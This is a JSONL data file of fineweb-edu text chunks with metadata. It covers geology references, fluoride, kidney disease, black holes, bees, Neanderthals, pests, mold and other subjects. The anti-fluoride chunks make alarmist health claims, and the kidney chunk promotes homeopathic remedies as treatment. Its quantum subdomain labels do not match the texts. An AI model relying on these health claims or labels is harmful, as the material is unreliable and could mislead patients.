"similarity_score": 0.5300702849194354, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 11, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.043667"} {"text": ", j. n., 1995, archean subduction inferred from seismic images of a mantle suture in the superior province : nature, v. 375, p. 670 \u2013 674. - calvert, a. j., ramachandran, k., kao, h., and fisher, m. a., 2006, local thickening of the cascadia forearc crust and the origin of seismic reflectors in the uppermost mantle : tectonophysics, v. 420, p. 175 \u2013 188. - canil, d., 2008, canada ' s craton : a bottoms - up view : gsa today, v. 18, no. 6, p. 4 \u2013 10, doi : 10. 1130 / gsat01806a. 1. - carr, s. d., easton, r. m., jamieson, r. a., and culshaw, n. g., 2000, geologic transect across the grenville orogen of ontario and new york : canadian journal of earth sciences, v. 37, p. 193 \u2013 216. - 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frederiksen, a. w., miong, s. - k., darbyshire, f. a., eaton, d. w., rondenay, s., and sol, s., 2007, lithospheric variations across the superior province, ontario, canada : evidence from tomography and shear wave splitting : journal of geophysical research, v. 112, b07318, doi : 10. 1029 / 2006jb004861. - hajnal, z., lewry, j., white, d., ashton, k., clowes, r., stauffer, m., gyor?, i., and takacs, e., 2005, the sask craton and hearne province margin : seismic reflection studies in the western trans - hudson orogen : canadian journal of earth sciences, v. 42, p. 403 \u2013 419. - hammer, p. t. c., clowes, r. m., cook, f. a., van der velden, a. j., and vasudevan, k., 2010, the lithoprobe trans - continental lithospheric cross - sections : imaging the internal structure of the north american continent : canadian journal of earth sciences, v. 47, p. 821 \u2013 857. - helmstaedt, h., and schulze, d., 1989, southern african kimberlites and their mantle sample : implications for archean tectonics and lithosphere evolution, in ross, j., ed., kimberlites and related rocks : geological society of australia special publication 14, p. 358 \u2013 368. - hyndman, r. d., yorath, c. j., clowes, r. m., and davis, e. e., 1990, the northern cascadia subduction zone at vancouver island : seismic structure and tectonic history : canadian journal of earth sciences, v. 27, p. 313", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5080637969774372, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 14, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.048453"} {"text": "brocher, t. m., 2006, regional p - wave velocity structure of the northern cascadia subduction zone : journal of geophysical research, v. 111, doi : 10. 1029 / 2005jb004108. - shapiro, n. m., and ritzwoller, m. h., 2002, monte - carlo inversion for a global shear velocity model of the crust and upper mantle : geophysical journal international, v. 151, p. 1 \u2013 18. - van der velden, a. j., and cook, f. a., 2005, relict subduction zones in canada : journal of geophysical research, v. 110, 08403, doi : 10. 1029 / 2004jb003333. - van der velden, a. j., van staal, c. r., and cook, f. a., 2004, crustal structure, fossil subduction, and the tectonic evolution of the newfoundland appalachians : evidence from a reprocessed seismic reflection survey : gsa bulletin, v. 116, p. 1485 \u2013 1498. - van der velden, a. j., cook, f. a., drummond, b. j., and goleby, b. r., 2006, reflections of the neoarchean : a global perspective : agu geophysical monograph 164, p. 255 \u2013 265. - white, d. j., thomas, m. d., jones, a. g., hope, j., nemeth, b., and hajnal, z., 2005, geophysical transect across a paleoproterozoic continent - continent collision zone : the trans - hudson orogen : canadian journal of earth sciences, v. 42, p. 385 \u2013 402.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5221776952207949, "token_count": 386, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 17, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.050911"} {"text": "which came first? test your invention smarts! the school bell rings and you take your seat in the comfy recliner in the family room. you hold your portable keyboard on top of your lap. you put on your headset and listen to your robot virtual teacher robot. you chat with your classmates who are actually sitting in their homes, just like you! at the touch of a button, you have a hologram right in your living room with an interactive exercise you have to complete. time for a break! you take a bite of the turkey sandwich your personal robot assistant has prepared, just for you. then it ' s back to the grind! while this may sound futuristic, this scenario is inches away from reality. your grandparents only knew one basic tennis shoe. technology changes everything in the past few decades, advances in technology have changed our daily lives. technology influences how we communicate, how we work, and how we live. it ' s also created many new jobs and a need for more employees with technical skills. to put this in perspective, when they were your age : your parents didn ' t dream of spending an evening playing games online with their friends. computer games didn ' t exist. the world wide web wasn ' t introduced until 1991! your great - grandparents never watched sporting televisions on tv because television was unknown. computers, computer games, fancy athletic shoes, tv \u2014 things that are so routine in your lifetime \u2014 have all been created over the past three generations! it ' s anyone ' s guess, but the one certainty is that the need for technical workers will increase...", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4883360134802824, "token_count": 323, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.052544"} {"text": "fluoridated tap water and toothpaste are oftentimes considered the main sources of fluoride exposure, but it turns out that common food items could actually be largely contributing to your fluoride intake. according to fluoride expert jeff green, who has been actively protesting and studying the effects of fluoride on the body for other 15 years, one common food product contains up to 180 times more fluoride than your fluoridated tap water! ( \u201c sodium fluoride is currently added to the water supply of many cities worldwide, despite extreme opposition \u2026 \u201c ) ~ fluoride linked to # 1 cause of death in new research groundbreaking new research has linked sodium fluoride to cardiovascular disease, the leading cause of death worldwide. researchers found that fluoride consumption directly stimulates the hardening of your arteries, a condition known as atherosclerosis that is highly correlatedwith the # 1 killer. sodium fluoride is currently added to the water supply of many cities worldwide, despite extreme opposition from health professionals and previous studieslinking it to decreased iq and infertility. prison planet. com \u00bb mobile fluoride vans to target communities that voted to remove chemical from public water supply ethan a. huff december 27, 2011 ( naturalnews ) back in october, the pinellas county, fla., commission voted 4 \u2013 3 to stop adding artificial fluoride chemicals to the county \u2019 s municipal water supply, which serves roughly 700, 000 residents ( http : / / www. naturalnews. com / 033801 _ f \u2026 ). but now local health officials are suggesting that the county purchase a mobile fluoride van as an alternative, which would drive around town and administer fluoride and other conventional dental services directly to children. believe it or not, the st. petersburg timesreports that the pinellas county commission will soon vote on whether or not to purchase this mobile fluoride van for $ 532, 339 in taxpayer funds, which is more than twice the $ 205, 000 a year the county has been spending to purchase fluoride chemicals for the water supply. the commission had asked the county \u2019 s health and human services department to come up with a new way to use the $ 205, 000 for other dental purposes, and the mobile fluoride van was their proposal. \u201c there \u2019 s no way i \u2019 m going to support a $ 532, 000 item, \u201d said commissioner john morroni, who was one of the members", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4554894121187116, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.059868"} {"text": "for other dental purposes, and the mobile fluoride van was their proposal. \u201c there \u2019 s no way i \u2019 m going to support a $ 532, 000 item, \u201d said commissioner john morroni, who was one of the members who voted in favor of ending water fluoridation. \u201c you can buy a lot of toothpaste and help the dentists disburse it. \u201d the fluoride debacleby bob conferthe new american in a move that screamed \u201c too little too late, \u201d the department of health and human services and the environmental protection agency announced earlier this month that they were working together to lower the amount of fluoride both suggested and allowed in drinking water. it was their knee - jerk reaction to findings that have indicated a rise in the occurrence of dental fluorosis, the discoloration or spotting of teeth that comes with excess fluoride. citing the addition of fluoride to everything from toothpaste to health supplements, they finally admitted that we have too much of the substance in our diets. to overcome that, hhs suggests that the chemical be added to water at a rate of 0. 7 milligrams per liter of water, which is at the absolute minimum of their current standard of 0. 7 to 1. 2 mg. it \u2019 s too bad that it took visual defects \u2013 we are, after all, a nation obsessed with appearance \u2013 to twist the federal government \u2019 s arm into cutting fluoride levels. their sudden change of mind ignores the ample, conclusive evidence showing that most of the damage wreaked by the chemical isn \u2019 t of a dental nature, but is instead found deep within the body, in our bones and organs. professor paul connett : your toxic tap water must see! make it go viral!", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4509184984056923, "token_count": 369, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.096102"} {"text": "polycystic kidney disease ( pkd or pckd, also known as polycystic kidney syndrome ) is a cystic genetic disorder of the polycystic kidney disease ( pkd ) is a genetic disorder characterized by the growth of numerous cysts in the kidneys. the kidneys are two organs, each about the size of a fist, located in the upper part of a person \u2019 s abdomen, toward the back. the kidneys filter wastes and extra fluid from the blood to form urine. they also regulate amounts of certain vital substances in the body. when cysts form in the kidneys, they are filled with fluid. polycystic kidney disease cysts can profoundly enlarge the kidneys while replacing much of the normal structure, resulting in reduced kidney function and leading to kidney failure. when polycystic kidney disease causes kidneys to fail \u2014 which usually happens after many years \u2014 the patient requires dialysis or kidney transplantation. about one - half of people with the most common type of polycystic kidney disease progress to kidney failure, also called end - stage renal disease ( esrd ). polycystic kidney disease can also cause cysts in the liver and problems in other organs, such as blood vessels in the brain and heart. the number of cysts as well as the complications they cause help doctors distinguish polycystic kidney disease from the usually harmless \u201c simple \u201d cysts that often form in the kidneys in later years of life. - genetic disorder. - inheritance : autosomal dominant. - autosomal dominant polycystic kidney disease is the most common, inherited form. symptoms usually develop between the ages of 30 and 40, but they can begin earlier, even in childhood. about 90 percent of all pkd cases are autosomal dominant polycystic kidney disease. - autosomal recessive polycystic kidney disease is a rare, inherited form. symptoms of autosomal recessive polycystic kidney disease begin in the earliest months of life, even in the - acquired cystic kidney disease ( ackd ) develops in association with long - term kidney problems, especially in patients who have kidney failure and who have been on dialysis for a long time. therefore, it tends to occur in later years of life. it is not an inherited form of polycystic kidney disease. symptoms of polycystic kidney disease - dull aching in loins. - vague abdominal pain. - frequent urination. - anaemia : moderate to severe. - blood pressure", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4856350301202259, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.119145"} {"text": "life. it is not an inherited form of polycystic kidney disease. symptoms of polycystic kidney disease - dull aching in loins. - vague abdominal pain. - frequent urination. - anaemia : moderate to severe. - blood pressure : raised. - on palpation abdomen - enlarged irregular kidneys. - large knobby renal masses. - enlarged polycystic liver ( 50 % cases ). - recurrent urinary tract infection. - renal calculi. - chronic renal failure. - control of blood pressure. - plenty of fluids. - low protein diet. - correction of anaemia ( due to haematuria ). - prevention & prompt treatment of infection. homeopathy treatment & homeopathic remedies for polycystic kidney disease homeopathy treats the person as a whole. it means that homeopathic treatment focuses on the patient as a person, as well as his pathological condition. the homeopathic medicines are selected after a full individualizing examination and case - analysis, which includes the medical history of the patient, physical and mental constitution etc. a miasmatic tendency ( predisposition / susceptibility ) is also often taken into account for the treatment of chronic conditions. the medicines given below indicate the therapeutic affinity but this is not a complete and definite guide to the treatment of this condition. the symptoms listed against each medicine may not be directly related to this disease because in homeopathy general symptoms and constitutional indications are also taken into account for selecting a remedy. to study any of the following remedies in more detail, please visit our materia medica section. none of these medicines should be taken without professional incipient stage of post scarlatinal nephritis, pain in loins, scanty urine without blood. apis is not so much a remedy for chronic bright ' s disease as for the acuter forms. there are oedematous swellings of the face and extremities, paleness, ascites, oedema pulmonum, pains in the head, back and limbs. albuminuria following scarlatina. it may be of use in any form of bright ' s disease when there are dull pains in the kidneys, scanty urine and frequent micturition. the urine is heavily charged with albumen and contains blood corpuscles. the oedema appears quickly, there is general dropsy and suppression of urine and perhaps an eruption of the skin like a nettle rash.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.47121337430956045, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.122588"} {"text": "urine and frequent micturition. the urine is heavily charged with albumen and contains blood corpuscles. the oedema appears quickly, there is general dropsy and suppression of urine and perhaps an eruption of the skin like a nettle rash. the patient is drowsy, apathetic and has a bruised feeling all over. apis in such cases acts best in trituration ; do not depend on the tincture or dilutions. hepar is recommended by kafka in bright ' s disease following scarlatina. a valuable symptom for apis is the feeling of suffocation. he does not see how he is get another breath. palliative in dropsical conditions where the urine is scanty. also useful for coma & convulsions in the nephritis this remedy corresponds to all stages of bright ' s disease, bearing a closer resemblance than any other remedy. it comes in later in the disease where there is dropsy, pale skin, waxen appearance, watery diarrhea and great thirst. the urine is dark, casts are abundant, and it contains much albumen. there are attacks of dyspnoea when lying down in the evening and after midnight, relieved by an expectoration of mucus. it may come in immediately after aconite in many cases. \" blood boils \" make a special indication for this remedy. baehr, millard and hale question the usefulness of arsenicum in kidney affections. however, it seems a simile to the large white kidney ; in fact, one could hardly wish for a closer correspondence. hughes considers it a favorite with anxiety and sinking of vital forces will call for arsenicum. calcarea arsenica has been used in the anaemia, progressive emaciation and debility of this disease with success. morbus brightii from gout, suppurations or syphilis. interstitial nephritis in its incipiency with digestive and nervous phenomena, hypochondriasis, irritability and vertigo. simple albuminuria, here it seems to occupy a place midway between aconite and arsenicum. belladonna is of the greatest service in inflammation of the kidneys with piercing burning pains in the lumbar region, returning periodically with increased severity. this remedy pictures nephritis with cutting pains in the lumbar region ; the urine is passed in drops and is mixed with blood, with much urging. post scarlatinal", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.47552006380048306, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.123913"} {"text": "in the lumbar region, returning periodically with increased severity. this remedy pictures nephritis with cutting pains in the lumbar region ; the urine is passed in drops and is mixed with blood, with much urging. post scarlatinal and post diphtheric kidney diseases with dropsy may indicate cantharis. nephritis from heart disorders. it affords relief when there is extreme rapid & irregular action of the heart, and in general anasarca & ascites from mitral insufficiency. cuprum arsenicum is also useful in uraemic conditions and is praised highly by goodno. cuprum is a valuable remedy for this remedy has an irritant action on the kidneys. it is homoeopathic to granular degeneration. heart symptoms, feeble pulse, scanty, dark, turbid urine, faintness at the stomach, rheumatic pains will indicate it. it is especially useful when the circulation is weak. rheumatic pains, pulmonary catarrh with profuse expectoration are marked symptoms. glonoine has albuminous urine and will sometimes be found useful in acute and haemorrhagic nephritis. this remedy is said to be the most homoeopathic of all remedies in bright ' s disease. it has scanty, dark, albuminous urine containing casts. it excites a violent nephritis. this remedy corresponds to the large white kidney. there is an albuminous, scanty and red urine ; pale waxen color of the body ; there are lumbar pains, great dyspnoea and excessive strangury. it takes the first rank among all the mercurials for nephritis, and it comes in the later stages. syphilitic complication further indicate it. there is an expression of uneasiness on the face. dr. ludlam considers it our best remedy for the albuminous nephritis of pregnancy and baehr lauds it in suppurative nephritis. granular degenerations of the kidneys, with tendency to uraemic convulsion. dropsy, sallow face, emaciation, oedema about the ankles. it seems to corresponds to the contracted or cirrhotic form of nephritis, holding the same relation here that arsenic and mercury do in chronic nephritis. royal emphasizes this remedy saying that", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.484847437464495, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.125157"} {"text": ", oedema about the ankles. it seems to corresponds to the contracted or cirrhotic form of nephritis, holding the same relation here that arsenic and mercury do in chronic nephritis. royal emphasizes this remedy saying that it arrested the progress in many cases and permanently cured not few for him. phosphorus produces as marked a nephritis as any drug. it is one of the most important remedies in bright ' s disease ; the characteristic symptoms are : lassitude of the whole body, hands and feet icy cold, sleepiness. the fatigue is greatest in the morning, and there is heat in the body without thirst, especially in the evening. the patient is indisposed to work, is giddy, forgetful and has a heavy headache, particularly in the forehead ; there is oedema of the upper eyelids, a mist before the eye, a yellowish fray complexion, a sickly oedema of the face, want of appetite, pressure and burning in the stomach, and a light colored painless diarrhea which is very weakening. it suits well fatty or waxy casts, is dark brown, scanty and albuminous, or covered with an iridescent film. pulmonary complications will call for phosphorus ; and inability to lie on the left side is a prominent symptom in these cases. vomiting and gastric symptoms are usually present. a small dose of phosphorus will act much safer and better in eclampsia than a large dose of one of our reliable and most frequently indicated remedies in the early stages of renal diseases when congestion is prominent, when there is much pain in the back of a dull character extending along the ureters. the great characteristic of dark smoky urine will be present. there is anasarca, and of course, the urine is bloody and albuminous. it is recommended in post scarlatinal renal affections. the prostration is not accompanied by the restlessness", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.49313098781417386, "token_count": 399, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.126088"} {"text": "each year, nearly 6, 000 motorists suffer serious eye injuries or even blindness because of improperly jump - starting a dead vehicle battery. learn how to safely jump - start a vehicle and what to do if battery acid gets in your eyes. review date : march 15, 2013 sight and hearing association just like drugs or alcohol, sleepiness slows reaction time, decreases awareness, and impairs judgment. learn how you can prevent falling asleep behind the wheel. review date : may 17, 2011 chesapeake region safety council as people age, there is an increased likelihood that they will experience changes in vision, memory, and other physical and cognitive characteristics that may challenge their ability to drive safely. review date : february 14, 2013 american occupational therapy association, inc. making decisions about your driving skills is hard, but it is important to find the safest option for you and the others who share the road with you. here are some helpful tips for safe driving. review date : march 06, 2012 nih national institute on aging wearing your seat belt protects you and your baby from injury or death in a car crash. you should wear a seat belt no matter where you sit in the car. review date : december 19, 2011 american academy of family physicians safety is a shared responsibility for all road users, including drivers and bicyclists. this document provides the rules of the road and tips to improve road safety for everyone. review date : february 24, 2013 pedestrian and bicycle information center learn to drive defensively to avoid the dangers caused by other people ' s bad driving. review date : february 13, 2013 the nemours foundation this document describes the important role sleep plays in maintaining good health and optimal work and school performance. tips are provided to help you avoid drowsy driving and to guide you toward a good night ' s sleep. review date : july 19, 2012 nih national heart, lung, and blood institute - nhlbi", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4627663968063039, "token_count": 389, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.128937"} {"text": "august 10, 2009 - first black holes born starving - - return to press releases - - date issued : august 10, 2009 relevant web urls : menlo park, calif. \u2014 the first black holes in the universe had dramatic effects on their surroundings despite the fact that they were small and grew very slowly, according to recent supercomputer simulations carried out by astrophysicists marcelo alvarez and tom abel of the kavli institute for particle astrophysics and cosmology, jointly located at the department of energy \u2019 s slac national accelerator laboratory and stanford university, and john wise, formerly of kipac and now of nasa goddard space flight center. several popular theories posit that the first black holes gorged themselves on gas clouds and dust in the early universe, growing into the supersized black holes that lurk in the centers of galaxies today. however, the new results, published today in the astrophysical journal letters, point to a much more complex role for the first black holes. \" i ' m thrilled that we now can do calculations that start to capture the most relevant physics, and we can show which ideas work and which don ' t, \" said abel. \" in the next decade, using calculations like this one, we will settle some of the most important issues related to the role of black holes in the universe. \" to make their discovery, the researchers created the most detailed simulations to date of the first black holes in the universe that formed from the collapse of stars. the simulations started with data taken from observations of the cosmic background radiation \u2014 the earliest view of the structure of the universe. the researchers then applied the basic laws that govern the interaction of matter, allowing the early universe in their simulation to evolve as it did in reality. in the simulation, clouds of gas left over from the big bang slowly coalesced under the force of gravity, and eventually formed the first stars. these massive, hot stars burned bright for a short time, emitting so much energy in the form of starlight that they pushed nearby gas clouds far away. yet these stars could not sustain such a fiery existence for long, and they soon exhausted their internal fuel. this caused one of the stars in the simulation to collapse under its own weight, forming a black hole located in a pocket of emptiness. with very little matter in the near vicinity, this black hole was essentially \" starved \" of food on which to grow. \" quasars [ extremely strong sources of radiation ] powered by black holes a billion times more massive than our sun", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5359507992647052, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.134349"} {"text": "of emptiness. with very little matter in the near vicinity, this black hole was essentially \" starved \" of food on which to grow. \" quasars [ extremely strong sources of radiation ] powered by black holes a billion times more massive than our sun have been observed in the early universe, and we have to explain how these behemoths could have grown so big so fast, \u201d said alvarez. \" their origin remains among the most fundamental unanswered questions in astrophysics. \" one explanation for the existence of supermassive black holes in the early universe postulates that the first black holes were \" seeds \" that grew into much larger black holes by gravitationally attracting and then swallowing matter. but in their simulation, alvarez, abel and wise found that such growth was negligible, with the black hole in the simulation growing by less than one percent of its original mass over the course of a hundred million years. although the simulations do not yet completely rule out the theory, this makes it less likely that these first black holes could have grown directly into the supermassive black holes observed to have existed less than a billion years later, alvarez said. an alternative theory although the early stars pushed away nearby clouds of gas, delaying significant growth of the black holes the stars later became, wisps of gas sometimes found their way to the black holes. as this matter was sucked into the black hole in the researchers \u2019 simulation, it accelerated and released enough x - ray radiation to heat gas as much as a hundred light years away to several thousand degrees. the additional heat from the x - rays caused the gas to expand away from the black hole, helping to keep the snack from turning into a feast. heating due to the x - rays was also enough to effectively prevent nearby gas from collapsing to form stars for tens and maybe even hundreds of millions of years. as a result, the researchers hypothesize, significantly larger than usual gas clouds may have had the opportunity to form without creating stars. such enormous gas clouds may have eventually collapsed under their own weight, creating a supermassive black hole. \" while x - rays from matter falling onto the first black holes hindered their further growth, that very same radiation may have later cleared the way for direct formation of supermassive black holes by suppressing star formation, \" said alvarez. \" however, a lot of work remains to be done to test whether this idea will actually pan out ; this is really just the tip of the iceberg in terms of realistic simulations of black holes in", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5399276629478519, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.135360"} {"text": "posts tagged : feeding one another we can all learn from the honey bees. worker bees - - sisters - - are like feeding machines. they not only feed each other, but feed the queen and their brothers, the drones. it ' s a marvelous sight to see, nectar being passed from one bee to another. honey bee expert norman gary, emeritus professor of entomology at the university of california, davis, and a beekeeper for more than six decades, says it well in his newly published book : honey bee hobbyist : the care and keeping of bees. gary points out that \" efficient communication is the fabric of social behavior. it enables the thousands of bees in a colony to function almost as one organism - - sometimes referred to as a super - or supra - organism, in which individual bees are compared to the individual cells of an organism. \" food sharing inside a hive, he writes, is \" dynamic and continuous. \" \" a hungry bee says, in her own special way, can you spare some food? if the behavioral answer is yes, the donor bee spreads her mandibles and discharges a droplet of honey or nectar from her honey stomach onto her mouthparts. \" the hungry bee, gary relates, \" senses the food, extends her strawlike proboscis, and sucks up the food. \" it ' s share and share alike. too bad the human race doesn ' t operate as a super organism. worker bees - - sisters - - sharing nectar at the harry h. laidlaw jr. honey bee research facility at the university of california, davis. ( photo by kathy keatley garvey )", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4929746561369679, "token_count": 333, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.138530"} {"text": "most complete neanderthal skull the excavations at the la ferrassie rock shelter in the dordogne valley, france in the early 20th century produced the remains of an adult male and an adult female, providing scientists with the first evidence of sexual dimorphism in neanderthals. in addition, the remains of the child and infant individuals help scientists understand the growth rates of neanderthal children. a total of eight neanderthal individuals - - including adults, children, infants, and two fetuses - - were found intentionally buried at la ferrassie. one of the most important individuals found at la ferrassie is la ferrassie 1, the skeleton of an adult male. his skull, the largest and most complete neanderthal skull ever found ( in 1909 ), has many of the typical neanderthal traits such as the low, sloping forehead and large nasal opening. his teeth, which are all preserved, are heavily worn, indicating he was older at the time of his death. his front incisors show a slanted wear that does not occur from chewing ; one hypothesis to explain this odd wear on his teeth is that he habitually held something in place between his front teeth, such as a hide, that he then scraped with a tool. although this hypothesis has been debated, the use of the teeth as tools may represent a remarkable neanderthal behavioral adaptation. la ferrassie 1 is considered by many scientists to exhibit the \u2018 classic \u2019 example of neanderthal anatomy. his leg and feet bones proved without a doubt that neanderthals walked upright and with a gait very similar to modern humans. this debunked the earlier reconstruction of the la chapelle - aux - saints neanderthal skeleton by french paleontologist pierre marcellin boulethat portrayed this species as stooped, brutish creatures.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.40656108837509086, "token_count": 383, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.140380"} {"text": "bagworms have hatched in central illinois, so it will be time to treat for these insects in central illinois about june 10. this is 2 to 3 weeks earlier than normal. now is the proper time to treat in southern illinois, where the bagworms would have hatched a couple of weeks ago. bagworm eggs overwinter in the old female \u2019 s bag, which is close to 2 inches long and covered with dried foliage from the host. newly hatched bagworms emerge from the old bag and climb upward in the tree. then they spin out and hang at the bottom of silk threads that are typically 2 to 3 feet long. this swinging pendulum catches in the breeze, the top end breaks from the tree, and the young bagworm goes soaring through the air at the end of its buoyant silk strand. caught in updrafts, they may float for very long distances \u2014 trips of many miles are probably common. these newly hatched bagworms will continue to hatch and migrate for a couple of weeks. as such, they represent the only major method of dispersal for the species because the adult female is a wingless moth, unable to travel very far. treatment of attacked trees and shrubs before they have finished migration will be only partially effective because new bagworms blow in daily. typically, about 2 weeks after egg hatch, the bagworms quit migrating and settle down to feed on the foliage of arborvitae, spruce, pine, eastern red cedar, other junipers, and various deciduous trees and shrubs. particularly on the needled evergreen hosts, defoliation can result in the death of branches and entire plants. spraying with bacillus thuringiensis kurstaki ( dipel, thuricide ), cyfluthrin ( tempo ), trichlorfon ( dylox ), spinosad ( conserve ), and other insecticides is effective, particularly while the caterpillars are small. as the caterpillars and their respective bags get longer than 1 / 2 inch, they become very hard to kill, particularly by insecticides other than those listed above. remember that you have a choice. if you spray at egg hatch, you will probably have to spray again to control larvae that migrate into the sprayed trees. if you wait for about 2 weeks after egg hatch, one application should be all that is needed, and little damage will occur during that time.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.3868446797113892, "token_count": 493, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.142650"} {"text": "why is mold growing in my home? molds are part of the natural environment. outdoors, molds play a part in nature by breaking down dead organic matter such as fallen leaves and dead trees, but indoors, mold growth should be avoided. molds reproduce by means of tiny spores ; the spores are invisible to the naked eye and float through outdoor and indoor air. mold may begin growing indoors when mold spores land on surfaces that are wet. there are many types of mold, and none of them will grow without water or moisture. read more about mold at www. epa. gov / mold - the key to mold control is moisture control. - if mold is a problem in your home, you should clean up the mold promptly and fix the water problem. - it is important to dry water - damaged areas and items within 24 - 48 hours to prevent mold growth. - indoor air quality - mold and moisture - la calidad del aire interior - iaq tools for schools - indoor airplus - secondhand smoke ( ets ) - iaq tribal partners program - iaq design tools for schools - indoor air pollutants - air cleaners - topic # : 23002 - 25101 - date created : 4 / 30 / 2008 - last modified since : 10 / 12 / 2010 - viewed : 9259", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.45421095697184233, "token_count": 266, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.146164"} {"text": "land surveying hand written plans in the stocks of the manuscript department of the russian state library the manuscript department of the russian state library is in possession of a unique collection embracing both archival materials and hand written books, music manuscript, maps. according to the make - up of the holdings of the department the cartographic materials are incorporated either into personal stocks or into the stocks of solitary additions, which hampers the search. hand written cartographic items in need of scholarly study, description and organization have been picked out of the unprocessed archival materials of the manuscript department. they are maps, plans, atlases, drawings, side views. the stock is stamped with subject variety since there are general geographic and topographical maps, maps and plans of universal land surveying, military maps, plans of towns and fortresses, hydrographic, historical, ethnographic maps there. they derive from the 18th century to the beginning of the 20th century. they can be held up as a marvelous aid in considering the history of the making of the russian cartography in detail. land surveying proprietary plans take a pride of place among the given cartographic materials. the plans took in separate villages, cottages, waste ground. they were made chiefly on the scale of 100 sagenes in an inch ( 1 : 8400 ) and the generalized plans were drawn on the scale of 200 sagenes in an inch ( 1 : 16800 ). the plans were of interest in terms of their content, appearance, location of the elements of the design. arable land, meadows, kitchen - gardens, rivers, roads, settlements were depicted there, the surnames of the land surveyors and in some cases the poll number of the peasants were entered. the plans were drawn in indian ink and painted in water - colours, they were compiled between 1769 and 1910. plans created at an earlier date were adorned with figured frame, unrolled scrolls, there were compass roses on them. work on the scientific study and organization of the stock of the land surveying plans of the bobrinski - sokovnins is in its infancy and it requires continuation. it is interesting for cartographers, land surveyors, historians. hese documents are invaluable for the reconstruction of the history of the land - tenure in", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4518019687020892, "token_count": 457, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.149043"} {"text": "posted by admin | posted in interactive whiteboard, knowledge ( remember ), primary elementary, science, secondary elementary, teacher resources, understand ( describe, explain ), websites | posted on 02 - 04 - 2012 what it is : the office of naval research has a great interactive site filled with science and technology exploration for students. on the site, students can explore oceanography, space, and blow the ballast. each section of the site has sub categories that let students narrow down their focus. the majority of the site is purely informational with accompanying images and short quizzes. my favorite portion of the site is the seasonal constellations. it really is the star of the site ( no pun intended ). the constellation interactive focuses on the constellations that can be viewed during each season. when students click on a season, they will see the constellations and options to show / hide the pictures, lines and names of the stars. the explanation of constellations and the seasonal impact on what students will see in the night sky is fantastic. in the teacher \u2019 s corner, you will find great animations for each topic ( space, oceanography, and submarines ). these are fantastic visualizations of complex concepts made simple for students. please leave a comment and share how you are using science and technology office of naval research in your classroom!", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5551731077673272, "token_count": 268, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.150493"} {"text": "joan houghton, ed. d. hearing is the second primary distance sense that is responsible for how learners gather information about events occurring in their environments. this module is an introduction to learners who are deaf or hard of hearing. it is divided into six sections including the ( 1 